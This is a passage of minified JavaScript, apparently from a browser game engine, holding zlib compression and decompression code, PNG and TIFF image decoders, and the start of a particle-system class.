  826. 1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,
  827. 1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,
  828. 1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918E3,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117];z&&new Uint32Array(D);f.prototype.getParent=function(a){return 2*
  829. ((a-2)/4|0)};f.prototype.push=function(a,c){var d,e,f=this.buffer,g;d=this.length;f[this.length++]=c;for(f[this.length++]=a;0<d;)if(e=this.getParent(d),f[d]>f[e])g=f[d],f[d]=f[e],f[e]=g,g=f[d+1],f[d+1]=f[e+1],f[e+1]=g,d=e;else break;return this.length};f.prototype.pop=function(){var a,c,d=this.buffer,e,f,g;c=d[0];a=d[1];this.length-=2;d[0]=d[this.length];d[1]=d[this.length+1];for(g=0;;){f=2*g+2;if(f>=this.length)break;f+2<this.length&&d[f+2]>d[f]&&(f+=2);if(d[f]>d[g])e=d[g],d[g]=d[f],d[f]=e,e=d[g+
  830. 1],d[g+1]=d[f+1],d[f+1]=e;else break;g=f}return{index:a,value:c,length:this.length}};var P=2,D={NONE:0,r:1,Nx:P,E6:3},S=[];for(x=0;288>x;x++)switch(I){case 143>=x:S.push([x+48,8]);break;case 255>=x:S.push([x-144+400,9]);break;case 279>=x:S.push([x-256+0,7]);break;case 287>=x:S.push([x-280+192,8]);break;default:a("invalid literal: "+x)}h.prototype.cl=function(){var c,d,f,g,h=this.input;switch(this.hp){case 0:f=0;for(g=h.length;f<g;){d=z?h.subarray(f,f+65535):h.slice(f,f+65535);f+=d.length;var k=f===
  831. g,m=G,t=m=G,t=m=G,u=this.a,v=this.b;if(z){for(u=new Uint8Array(this.a.buffer);u.length<=v+d.length+5;)u=new Uint8Array(u.length<<1);u.set(this.a)}m=k?1:0;u[v++]=m|0;m=d.length;t=~m+65536&65535;u[v++]=m&255;u[v++]=m>>>8&255;u[v++]=t&255;u[v++]=t>>>8&255;if(z)u.set(d,v),v+=d.length,u=u.subarray(0,v);else{m=0;for(t=d.length;m<t;++m)u[v++]=d[m];u.length=v}this.b=v;this.a=u}break;case 1:f=new e(new Uint8Array(this.a.buffer),this.b);f.I(1,1,I);f.I(1,2,I);h=p(this,h);d=0;for(k=h.length;d<k;d++)if(g=h[d],
  832. e.prototype.I.apply(f,S[g]),256<g)f.I(h[++d],h[++d],I),f.I(h[++d],5),f.I(h[++d],h[++d],I);else if(256===g)break;this.a=f.finish();this.b=this.a.length;break;case P:g=new e(new Uint8Array(this.a),this.b);var w,x,y,B=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15],F,D,m=Array(19),H,u=P;g.I(1,1,I);g.I(u,2,I);h=p(this,h);t=r(this.BR,15);F=s(t);u=r(this.tR,7);v=s(u);for(w=286;257<w&&0===t[w-1];w--);for(x=30;1<x&&0===u[x-1];x--);var E=w,J=x;c=new (z?Uint32Array:Array)(E+J);var M=new (z?Uint32Array:Array)(316),
  833. K,L;D=new (z?Uint8Array:Array)(19);for(H=y=0;H<E;H++)c[y++]=t[H];for(H=0;H<J;H++)c[y++]=u[H];if(!z)for(H=0,J=D.length;H<J;++H)D[H]=0;H=K=0;for(J=c.length;H<J;H+=y){for(y=1;H+y<J&&c[H+y]===c[H];++y);E=y;if(0===c[H])if(3>E)for(;0<E--;)M[K++]=0,D[0]++;else for(;0<E;)L=138>E?E:138,L>E-3&&L<E&&(L=E-3),10>=L?(M[K++]=17,M[K++]=L-3,D[17]++):(M[K++]=18,M[K++]=L-11,D[18]++),E-=L;else if(M[K++]=c[H],D[c[H]]++,E--,3>E)for(;0<E--;)M[K++]=c[H],D[c[H]]++;else for(;0<E;)L=6>E?E:6,L>E-3&&L<E&&(L=E-3),M[K++]=16,M[K++]=
  834. L-3,D[16]++,E-=L}c=z?M.subarray(0,K):M.slice(0,K);D=r(D,7);for(H=0;19>H;H++)m[H]=D[B[H]];for(y=19;4<y&&0===m[y-1];y--);B=s(D);g.I(w-257,5,I);g.I(x-1,5,I);g.I(y-4,4,I);for(H=0;H<y;H++)g.I(m[H],3,I);H=0;for(m=c.length;H<m;H++)if(d=c[H],g.I(B[d],D[d],I),16<=d){H++;switch(d){case 16:k=2;break;case 17:k=3;break;case 18:k=7;break;default:a("invalid code: "+d)}g.I(c[H],k,I)}k=[F,t];v=[v,u];d=k[0];k=k[1];u=v[0];F=v[1];v=0;for(m=h.length;v<m;++v)if(f=h[v],g.I(d[f],k[f],I),256<f)g.I(h[++v],h[++v],I),t=h[++v],
  835. g.I(u[t],F[t],I),g.I(h[++v],h[++v],I);else if(256===f)break;this.a=g.finish();this.b=this.a.length;break;default:a("invalid compression type")}return this.a};x=[];var R;for(R=3;258>=R;R++)F=m(),x[R]=F[2]<<24|F[1]<<16|F[0];var V=z?new Uint32Array(x):x,M=D;u.prototype.cl=function(){var c,e,f,g,h=0;g=this.a;c=ca;switch(c){case ca:e=Math.LOG2E*Math.log(32768)-8;break;default:a(Error("invalid compression method"))}e=e<<4|c;g[h++]=e;switch(c){case ca:switch(this.hp){case M.NONE:f=0;break;case M.r:f=1;break;
  836. case M.Nx:f=2;break;default:a(Error("unsupported compression type"))}break;default:a(Error("invalid compression method"))}c=f<<6|0;g[h++]=c|31-(256*e+c)%31;c=d(this.input);this.z.b=h;g=this.z.cl();h=g.length;z&&(g=new Uint8Array(g.buffer),g.length<=h+4&&(this.a=new Uint8Array(g.length+4),this.a.set(g),g=this.a),g=g.subarray(0,h+4));g[h++]=c>>24&255;g[h++]=c>>16&255;g[h++]=c>>8&255;g[h++]=c&255;return g};c("Zlib.Deflate",u);c("Zlib.Deflate.compress",function(a,c){return(new u(a,c)).cl()});c("Zlib.Deflate.CompressionType",
  837. M);c("Zlib.Deflate.CompressionType.NONE",M.NONE);c("Zlib.Deflate.CompressionType.FIXED",M.r);c("Zlib.Deflate.CompressionType.DYNAMIC",M.Nx);var pa=0,ga=1,D={GQ:pa,sQ:ga};t.prototype.jy=function(){for(;!this.$F;){var c=v(this,3);c&1&&(this.$F=I);c>>>=1;switch(c){case 0:var c=this.input,d=this.C,e=this.a,f=this.b,g=G,h=G,k=G,m=e.length,g=G;this.Mg=this.g=0;g=c[d++];g===G&&a(Error("invalid uncompressed block header: LEN (first byte)"));h=g;g=c[d++];g===G&&a(Error("invalid uncompressed block header: LEN (second byte)"));
  838. h|=g<<8;g=c[d++];g===G&&a(Error("invalid uncompressed block header: NLEN (first byte)"));k=g;g=c[d++];g===G&&a(Error("invalid uncompressed block header: NLEN (second byte)"));k|=g<<8;h===~k&&a(Error("invalid uncompressed block header: length verify"));d+h>c.length&&a(Error("input buffer is broken"));switch(this.by){case pa:for(;f+h>e.length;){g=m-f;h-=g;if(z)e.set(c.subarray(d,d+g),f),f+=g,d+=g;else for(;g--;)e[f++]=c[d++];this.b=f;e=this.Gh();f=this.b}break;case ga:for(;f+h>e.length;)e=this.Gh({fa:2});
  839. break;default:a(Error("invalid inflate mode"))}if(z)e.set(c.subarray(d,d+h),f),f+=h,d+=h;else for(;h--;)e[f++]=c[d++];this.C=d;this.b=f;this.a=e;break;case 1:this.ey(Aa,Ba);break;case 2:y(this);break;default:a(Error("unknown BTYPE: "+c))}}return this.BG()};x=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];var va=z?new Uint16Array(x):x;x=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];var wa=z?new Uint16Array(x):x;x=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,
  840. 3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];var ha=z?new Uint8Array(x):x;x=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];var xa=z?new Uint16Array(x):x;x=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];var ia=z?new Uint8Array(x):x;x=new (z?Uint8Array:Array)(288);F=0;for(K=x.length;F<K;++F)x[F]=143>=F?8:255>=F?9:279>=F?7:8;var Aa=g(x);x=new (z?Uint8Array:Array)(30);F=0;for(K=x.length;F<K;++F)x[F]=5;var Ba=g(x);t.prototype.ey=
  841. function(a,c){var d=this.a,e=this.b;this.ea=a;for(var f=d.length-258,g,h,k;256!==(g=w(this,a));)if(256>g)e>=f&&(this.b=e,d=this.Gh(),e=this.b),d[e++]=g;else for(g-=257,k=wa[g],0<ha[g]&&(k+=v(this,ha[g])),g=w(this,c),h=xa[g],0<ia[g]&&(h+=v(this,ia[g])),e>=f&&(this.b=e,d=this.Gh(),e=this.b);k--;)d[e]=d[e++-h];for(;8<=this.Mg;)this.Mg-=8,this.C--;this.b=e};t.prototype.mR=function(a,c){var d=this.a,e=this.b;this.ea=a;for(var f=d.length,g,h,k;256!==(g=w(this,a));)if(256>g)e>=f&&(d=this.Gh(),f=d.length),
  842. d[e++]=g;else for(g-=257,k=wa[g],0<ha[g]&&(k+=v(this,ha[g])),g=w(this,c),h=xa[g],0<ia[g]&&(h+=v(this,ia[g])),e+k>f&&(d=this.Gh(),f=d.length);k--;)d[e]=d[e++-h];for(;8<=this.Mg;)this.Mg-=8,this.C--;this.b=e};t.prototype.Gh=function(){var a=new (z?Uint8Array:Array)(this.b-32768),c=this.b-32768,d,e,f=this.a;if(z)a.set(f.subarray(32768,a.length));else for(d=0,e=a.length;d<e;++d)a[d]=f[d+32768];this.Ox.push(a);this.py+=a.length;if(z)f.set(f.subarray(c,c+32768));else for(d=0;32768>d;++d)f[d]=f[c+d];this.b=
  843. 32768;return f};t.prototype.sR=function(a){var c,d=this.input.length/this.C+1|0,e,f,g,h=this.input,k=this.a;a&&("number"===typeof a.fa&&(d=a.fa),"number"===typeof a.dR&&(d+=a.dR));2>d?(e=(h.length-this.C)/this.ea[2],g=e/2*258|0,f=g<k.length?k.length+g:k.length<<1):f=k.length*d;z?(c=new Uint8Array(f),c.set(k)):c=k;return this.a=c};t.prototype.BG=function(){var a=0,c=this.a,d=this.Ox,e,f=new (z?Uint8Array:Array)(this.py+(this.b-32768)),g,h,k,m;if(0===d.length)return z?this.a.subarray(32768,this.b):
  844. this.a.slice(32768,this.b);g=0;for(h=d.length;g<h;++g)for(e=d[g],k=0,m=e.length;k<m;++k)f[a++]=e[k];g=32768;for(h=this.b;g<h;++g)f[a++]=c[g];this.Ox=[];return this.buffer=f};t.prototype.iR=function(){var a,c=this.b;z?this.PG?(a=new Uint8Array(c),a.set(this.a.subarray(0,c))):a=this.a.subarray(0,c):(this.a.length>c&&(this.a.length=c),a=this.a);return this.buffer=a};B.prototype.jy=function(){var c=this.input,e,f;e=this.HG.jy();this.C=this.HG.C;this.KR&&(f=(c[this.C++]<<24|c[this.C++]<<16|c[this.C++]<<
  845. 8|c[this.C++])>>>0,f!==d(e)&&a(Error("invalid adler-32 checksum")));return e};c("Zlib.Inflate",B);c("Zlib.Inflate.BufferType",D);D.Y4=D.sQ;D.w5=D.GQ;c("Zlib.Inflate.prototype.decompress",B.prototype.jy);D=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];z&&new Uint16Array(D);D=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];z&&new Uint16Array(D);D=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];z&&new Uint8Array(D);D=[1,2,3,4,5,7,9,13,
  846. 17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];z&&new Uint16Array(D);D=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];z&&new Uint8Array(D);D=new (z?Uint8Array:Array)(288);x=0;for(F=D.length;x<F;++x)D[x]=143>=x?8:255>=x?9:279>=x?7:8;g(D);D=new (z?Uint8Array:Array)(30);x=0;for(F=D.length;x<F;++x)D[x]=5;g(D);var ca=8}).call(this);n=window;n=n.G7=n.Zlib;n.ZG=n.Deflate;n.ZG.v9=n.ZG.compress;n.nn=n.Inflate;n.nn.J5=n.nn.BufferType;
  847. n.nn.prototype.EM=n.nn.prototype.decompress;b.oS=b.ja.extend({ctor:function(a){var c,d,e,f;this.data=a;this.$a=8;this.NF=[];this.Ex=[];this.dn={};this.fE=null;this.text={};for(e=null;;){c=this.Ij();f=a=void 0;f=[];for(a=0;4>a;++a)f.push(String.fromCharCode(this.data[this.$a++]));a=f.join("");switch(a){case "IHDR":this.width=this.Ij();this.height=this.Ij();this.No=this.data[this.$a++];this.sE=this.data[this.$a++];this.$a++;this.$a++;this.$a++;break;case "acTL":this.fE={Hfa:this.Ij(),Ifa:this.Ij()||Infinity,frames:[]};break;case "PLTE":this.NF=
  848. this.xt(c);break;case "fcTL":e&&this.fE.frames.push(e);this.$a+=4;e={width:this.Ij(),height:this.Ij(),aQ:this.Ij(),bQ:this.Ij()};a=this.FO();c=this.FO()||100;e.B9=1E3*a/c;e.O9=this.data[this.$a++];e.e9=this.data[this.$a++];e.data=[];break;case "IDAT":case "fdAT":"fdAT"===a&&(this.$a+=4,c-=4);a=(null!=e?e.data:void 0)||this.Ex;for(f=0;0<=c?f<c:f>c;0<=c?++f:--f)a.push(this.data[this.$a++]);break;case "tRNS":this.dn={};switch(this.sE){case 3:this.dn.hF=this.xt(c);c=255-this.dn.hF.length;if(0<c)for(a=
  849. 0;0<=c?a<c:a>c;0<=c?++a:--a)this.dn.hF.push(255);break;case 0:this.dn.Lca=this.xt(c)[0];break;case 2:this.dn.iha=this.xt(c)}break;case "tEXt":f=this.xt(c);c=f.indexOf(0);a=String.fromCharCode.apply(String,f.slice(0,c));this.text[a]=String.fromCharCode.apply(String,f.slice(c+1));break;case "IEND":e&&this.fE.frames.push(e);a:{switch(this.sE){case 0:case 3:case 4:e=1;break a;case 2:case 6:e=3;break a}e=void 0}this.t=e;this.HN=4===(d=this.sE)||6===d;d=this.t+(this.HN?1:0);this.q2=this.No*d;Uint8Array!=
  850. Array&&(this.Ex=new Uint8Array(this.Ex));return;default:this.$a+=c}this.$a+=4;if(this.$a>this.data.length)throw Error("Incomplete or corrupt PNG file");}},xt:function(a){var c,d;d=[];for(c=0;0<=a?c<a:c>a;0<=a?++c:--c)d.push(this.data[this.$a++]);return d},Ij:function(){var a,c,d,e;a=this.data[this.$a++]<<24;c=this.data[this.$a++]<<16;d=this.data[this.$a++]<<8;e=this.data[this.$a++];return a|c|d|e},FO:function(){var a,c;a=this.data[this.$a++]<<8;c=this.data[this.$a++];return a|c},GZ:function(a){var c,
  851. d,e,f,g,h,k,m,p,r,s,u,t,v,w;null==a&&(a=this.Ex);if(0===a.length)return new Uint8Array(0);a=(new Zlib.nn(a,{index:0,ZP:!1})).EM();m=this.q2/8;u=m*this.width;p=new Uint8Array(u*this.height);h=a.length;for(d=r=s=0;r<h;){switch(a[r++]){case 0:for(c=0;c<u;c+=1)p[d++]=a[r++];break;case 1:for(f=t=0;t<u;f=t+=1)c=a[r++],g=f<m?0:p[d-m],p[d++]=(c+g)%256;break;case 2:for(f=g=0;g<u;f=g+=1)c=a[r++],e=(f-f%m)/m,t=s&&p[(s-1)*u+e*m+f%m],p[d++]=(t+c)%256;break;case 3:for(f=w=0;w<u;f=w+=1)c=a[r++],e=(f-f%m)/m,g=f<
  852. m?0:p[d-m],t=s&&p[(s-1)*u+e*m+f%m],p[d++]=(c+Math.floor((g+t)/2))%256;break;case 4:for(f=w=0;w<u;f=w+=1)c=a[r++],e=(f-f%m)/m,g=f<m?0:p[d-m],0===s?t=v=0:(t=p[(s-1)*u+e*m+f%m],v=e&&p[(s-1)*u+(e-1)*m+f%m]),k=g+t-v,f=Math.abs(k-g),e=Math.abs(k-t),k=Math.abs(k-v),g=f<=e&&f<=k?g:e<=k?t:v,p[d++]=(c+g)%256;break;default:throw Error("Invalid filter algorithm: "+a[r-1]);}s++}return p},EZ:function(a,c){var d,e,f,g,h,k,m,p;e=this.t;p=null;d=this.HN;this.NF.length&&(p=null!=(f=this.sV)?f:this.sV=this.FZ(),e=4,
  853. d=!0);f=a.data||a;m=f.length;h=p||c;g=k=0;if(1===e)for(;g<m;)e=p?4*c[g/4]:k,k=h[e++],f[g++]=k,f[g++]=k,f[g++]=k,f[g++]=d?h[e++]:255,k=e;else for(;g<m;)e=p?4*c[g/4]:k,f[g++]=h[e++],f[g++]=h[e++],f[g++]=h[e++],f[g++]=d?h[e++]:255,k=e},FZ:function(){var a,c,d,e,f,g,h,k,m;d=this.NF;g=this.dn.hF||[];f=new Uint8Array((g.length||0)+d.length);c=h=a=e=0;for(k=d.length;h<k;c=h+=3)f[e++]=d[c],f[e++]=d[c+1],f[e++]=d[c+2],f[e++]=null!=(m=g[a++])?m:255;return f},P2:function(a){var c;a.width=this.width;a.height=
  854. this.height;a=a.getContext("2d");c=a.createImageData(this.width,this.height);this.EZ(c,this.GZ());return a.putImageData(c,0,0)}});b.E4={LK:!1,nm:null,zB:[],getUint8:function(a){return this.nm[a]},getUint16:function(a){return this.LK?this.nm[a+1]<<8|this.nm[a]:this.nm[a]<<8|this.nm[a+1]},getUint32:function(a){var c=this.nm;return this.LK?c[a+3]<<24|c[a+2]<<16|c[a+1]<<8|c[a]:c[a]<<24|c[a+1]<<16|c[a+2]<<8|c[a+3]},sZ:function(){var a=this.getUint16(0);if(18761===a)this.GF=!0;else if(19789===a)this.GF=!1;else throw console.log(a),TypeError("Invalid byte order value.");return this.GF},K0:function(){if(42!==this.getUint16(2))throw RangeError("You forgot your towel!");
  855. return!0},M_:function(a){var c=this.r_;return a in c?c[a]:null},K_:function(a){var c=this.q_;if(a in c)return c[a];console.log("Unknown Field Tag:",a);return"Tag"+a},L_:function(a){return-1!==["BYTE","ASCII","SBYTE","UNDEFINED"].indexOf(a)?1:-1!==["SHORT","SSHORT"].indexOf(a)?2:-1!==["LONG","SLONG","FLOAT"].indexOf(a)?4:-1!==["RATIONAL","SRATIONAL","DOUBLE"].indexOf(a)?8:null},N_:function(a,c,d,e){a=[];var f=this.L_(c);if(4>=f*d)!1===this.GF?a.push(e>>>8*(4-f)):a.push(e);else for(var g=0;g<d;g++){var h=
  856. f*g;8<=f?-1!==["RATIONAL","SRATIONAL"].indexOf(c)?(a.push(this.getUint32(e+h)),a.push(this.getUint32(e+h+4))):b.log("Can't handle this field type or size"):a.push(this.$M(f,e+h))}"ASCII"===c&&a.forEach(function(a,c,d){d[c]=String.fromCharCode(a)});return a},$M:function(a,c){if(0>=a)b.log("No bytes requested");else{if(1>=a)return this.getUint8(c);if(2>=a)return this.getUint16(c);if(3>=a)return this.getUint32(c)>>>8;if(4>=a)return this.getUint32(c);b.log("Too many bytes requested")}},x_:function(a,
  857. c,d){d=d||0;c+=Math.floor(d/8);var e=d+a;a=32-a;var f,g;0>=e?console.log("No bits requested"):8>=e?(f=24+d,g=this.getUint8(c)):16>=e?(f=16+d,g=this.getUint16(c)):32>=e?(f=d,g=this.getUint32(c)):console.log("Too many bits requested");return{bits:g<<f>>>a,byteOffset:c+Math.floor(e/8),bitOffset:e%8}},BO:function(a){var c=this.getUint16(a),d=[];a+=2;for(var e=0;e<c;a+=12,e++){var f=this.getUint16(a),g=this.getUint16(a+2),h=this.getUint32(a+4),k=this.getUint32(a+8),f=this.K_(f),g=this.M_(g),h=this.N_(f,
  858. g,h,k);d[f]={type:g,Th:h}}this.zB.push(d);c=this.getUint32(a);0!==c&&this.BO(c)},Am:function(a,c){var d=Math.pow(2,8-c);return Math.floor(a*d+(d-1))},l2:function(a,c){c=c||b.Ob("canvas");this.nm=a;this.canvas=c;this.sZ();if(this.K0()){var d=this.getUint32(4);this.zB.length=0;this.BO(d);var e=this.zB[0],d=e.ImageWidth.Th[0],f=e.ImageLength.Th[0];this.canvas.width=d;this.canvas.height=f;var g=[],h=e.Compression?e.Compression.Th[0]:1,k=e.SamplesPerPixel.Th[0],m=[],p=0,r=!1;e.BitsPerSample.Th.forEach(function(a,
  859. c){m[c]={Oo:a,zx:!1,Is:void 0};0===a%8&&(m[c].zx=!0,m[c].Is=a/8);p+=a},this);if(0===p%8)var r=!0,s=p/8;var u=e.StripOffsets.Th,t=u.length;if(e.StripByteCounts)var v=e.StripByteCounts.Th;else if(b.log("Missing StripByteCounts!"),1===t)v=[Math.ceil(d*f*p/8)];else throw Error("Cannot recover from missing StripByteCounts");for(var w=0;w<t;w++){var y=u[w];g[w]=[];for(var B=v[w],G=0,I=0,E=1,z=!0,D=[],x=0,F=0,K=0;G<B;G+=E)switch(h){case 1:E=0;for(D=[];E<k;E++)if(m[E].zx)D.push(this.$M(m[E].Is,y+G+m[E].Is*
  860. E));else{var L=this.x_(m[E].Oo,y+G,I);D.push(L.No);G=L.byteOffset-y;I=L.c9;throw RangeError("Cannot handle sub-byte bits per sample");}g[w].push(D);if(r)E=s;else throw E=0,RangeError("Cannot handle sub-byte bits per pixel");break;case 32773:if(z){var z=!1,J=1,P=1,E=this.getInt8(y+G);0<=E&&127>=E?J=E+1:-127<=E&&-1>=E?P=-E+1:z=!0}else{for(var S=this.getUint8(y+G),E=0;E<P;E++){if(m[F].zx)K=K<<8*x|S,x++,x===m[F].Is&&(D.push(K),K=x=0,F++);else throw RangeError("Cannot handle sub-byte bits per sample");
  861. F===k&&(g[w].push(D),D=[],F=0)}J--;0===J&&(z=!0)}E=1}}if(c.getContext){s=this.canvas.getContext("2d");s.fillStyle="rgba(255, 255, 255, 0)";w=e.RowsPerStrip?e.RowsPerStrip.Th[0]:f;y=g.length;f%=w;f=0===f?w:f;G=w;h=0;D=e.PhotometricInterpretation.Th[0];J=[];P=0;e.ExtraSamples&&(J=e.ExtraSamples.Th,P=J.length);if(e.ColorMap)var L=e.ColorMap.Th,R=Math.pow(2,m[0].Oo);for(w=0;w<y;w++){w+1===y&&(G=f);e=g[w].length;h*=w;for(r=k=0;k<G,r<e;k++)for(u=0;u<d;u++,r++){v=g[w][r];z=I=B=0;t=1;if(0<P)for(B=0;B<P;B++)if(1===
  862. J[B]||2===J[B]){t=v[3+B]/256;break}switch(D){case 0:if(m[0].zx)var V=Math.pow(16,2*m[0].Is);v.forEach(function(a,c,d){d[c]=V-a});case 1:B=I=z=this.Am(v[0],m[0].Oo);break;case 2:B=this.Am(v[0],m[0].Oo);I=this.Am(v[1],m[1].Oo);z=this.Am(v[2],m[2].Oo);break;case 3:if(void 0===L)throw Error("Palette image missing color map");v=v[0];B=this.Am(L[v],16);I=this.Am(L[R+v],16);z=this.Am(L[2*R+v],16);break;default:throw RangeError("Unknown Photometric Interpretation:",D);}s.fillStyle="rgba("+B+", "+I+", "+z+
  863. ", "+t+")";s.fillRect(u,h+k,1,1)}h=G}}return this.canvas}},q_:{315:"Artist",258:"BitsPerSample",265:"CellLength",264:"CellWidth",320:"ColorMap",259:"Compression",33432:"Copyright",306:"DateTime",338:"ExtraSamples",266:"FillOrder",289:"FreeByteCounts",288:"FreeOffsets",291:"GrayResponseCurve",290:"GrayResponseUnit",316:"HostComputer",270:"ImageDescription",257:"ImageLength",256:"ImageWidth",271:"Make",281:"MaxSampleValue",280:"MinSampleValue",272:"Model",254:"NewSubfileType",274:"Orientation",262:"PhotometricInterpretation",
  864. 284:"PlanarConfiguration",296:"ResolutionUnit",278:"RowsPerStrip",277:"SamplesPerPixel",305:"Software",279:"StripByteCounts",273:"StripOffsets",255:"SubfileType",263:"Threshholding",282:"XResolution",283:"YResolution",326:"BadFaxLines",327:"CleanFaxData",343:"ClipPath",328:"ConsecutiveBadFaxLines",433:"Decode",434:"DefaultImageColor",269:"DocumentName",336:"DotRange",321:"HalftoneHints",346:"Indexed",347:"JPEGTables",285:"PageName",297:"PageNumber",317:"Predictor",319:"PrimaryChromaticities",532:"ReferenceBlackWhite",
  865. 339:"SampleFormat",559:"StripRowCounts",330:"SubIFDs",292:"T4Options",293:"T6Options",325:"TileByteCounts",323:"TileLength",324:"TileOffsets",322:"TileWidth",301:"TransferFunction",318:"WhitePoint",344:"XClipPathUnits",286:"XPosition",529:"YCbCrCoefficients",531:"YCbCrPositioning",530:"YCbCrSubSampling",345:"YClipPathUnits",287:"YPosition",37378:"ApertureValue",40961:"ColorSpace",36868:"DateTimeDigitized",36867:"DateTimeOriginal",34665:"Exif IFD",36864:"ExifVersion",33434:"ExposureTime",41728:"FileSource",
  866. 37385:"Flash",40960:"FlashpixVersion",33437:"FNumber",42016:"ImageUniqueID",37384:"LightSource",37500:"MakerNote",37377:"ShutterSpeedValue",37510:"UserComment",33723:"IPTC",34675:"ICC Profile",700:"XMP",42112:"GDAL_METADATA",42113:"GDAL_NODATA",34377:"Photoshop"},r_:{1:"BYTE",2:"ASCII",3:"SHORT",4:"LONG",5:"RATIONAL",6:"SBYTE",7:"UNDEFINED",8:"SSHORT",9:"SLONG",10:"SRATIONAL",11:"FLOAT",12:"DOUBLE"}};b.ug=function(a,c,d,e,f,g,h,k,m,p,r,s){this.$a=a?a:N(0,0);this.Ky=c?c:N(0,0);this.color=d?d:{r:0,g:0,b:0,a:255};this.Ps=e?e:{r:0,g:0,b:0,a:255};this.size=f||0;this.zE=g||0;this.rotation=h||0;this.KM=k||0;this.kl=m||0;this.atlasIndex=p||0;this.Wb=r?r:new b.ug.xz;this.Hd=s?s:new b.ug.yz;this.XN=!1;this.Rs=N(0,0)};b.ug.xz=function(a,c,d){this.dir=a?a:N(0,0);this.radialAccel=c||0;this.tangentialAccel=d||0};b.ug.yz=function(a,c,d,e){this.Lg=a||0;this.GM=c||0;this.wt=d||0;this.JM=e||0};
  867. b.ug.Ru=[N(),N(),N(),N()];
  868. b.n=b.q.extend({uC:"",mb:0,uJ:!1,Wb:null,Hd:null,ub:"ParticleSystem",AC:N(0,0),Ek:null,Rl:0,of:0,X:null,atlasIndex:0,qm:!1,dv:0,jx:null,Jy:null,ko:!1,td:0,duration:0,wo:null,Gk:null,Ue:0,pp:0,Lg:0,Lo:0,Ip:0,Jp:0,Gm:0,Vo:0,Ah:null,Nk:null,Fe:null,qk:null,Kp:0,Lp:0,Wo:0,Xo:0,Fm:0,qb:0,K:null,o:null,Sa:!1,Ji:null,Gs:!1,Ga:0,Ec:null,nb:null,uc:null,Wr:null,na:null,Zc:null,ctor:function(a){b.q.prototype.ctor.call(this);this.Ga=b.n.fb;this.Wb=new b.n.xz;this.Hd=new b.n.yz;this.o={src:b.hc,U:b.gc};this.Ek=
  869. [];this.wo=N(0,0);this.Gk=N(0,0);this.Ah=b.color(255,255,255,255);this.Nk=b.color(255,255,255,255);this.Fe=b.color(255,255,255,255);this.qk=b.color(255,255,255,255);this.uC="";this.mb=0;this.uJ=!1;this.AC=N(0,0);this.of=this.Rl=0;this.X=null;this.atlasIndex=0;this.qm=!1;this.dv=0;this.jx=b.n.OS;this.Jy=b.n.jQ;this.ko=!1;this.qb=this.Fm=this.Xo=this.Wo=this.Lp=this.Kp=this.Vo=this.Gm=this.Jp=this.Ip=this.Lo=this.Lg=this.pp=this.Ue=this.duration=this.td=0;this.K=null;this.Sa=!1;this.Ji=b.n.Mq;this.Gs=
  870. !1;this.uc=[0,0];this.Ec=[];this.nb=[];this.Wr=Q(0,0,0,0);this.na=!0;b.A===b.$&&(this.Zc=null);a&&"number"!==typeof a?a&&this.$k(a):(a=a||100,this.o3(b.n.YH),this.Wa(a))},iF:function(){for(var a=this.nb,c=0,d=this.qb;c<d;++c){var e=6*c,f=4*c;a[e+0]=f+0;a[e+1]=f+1;a[e+2]=f+2;a[e+5]=f+1;a[e+4]=f+2;a[e+3]=f+3}},KN:function(a){var c=b.rb(),d=Q(a.x*c,a.y*c,a.width*c,a.height*c),e=a.width,f=a.height;this.K&&(e=this.K.pixelsWidth,f=this.K.pixelsHeight);if(b.A!==b.Ea){b.kn?(a=(2*d.x+1)/(2*e),c=(2*d.y+1)/
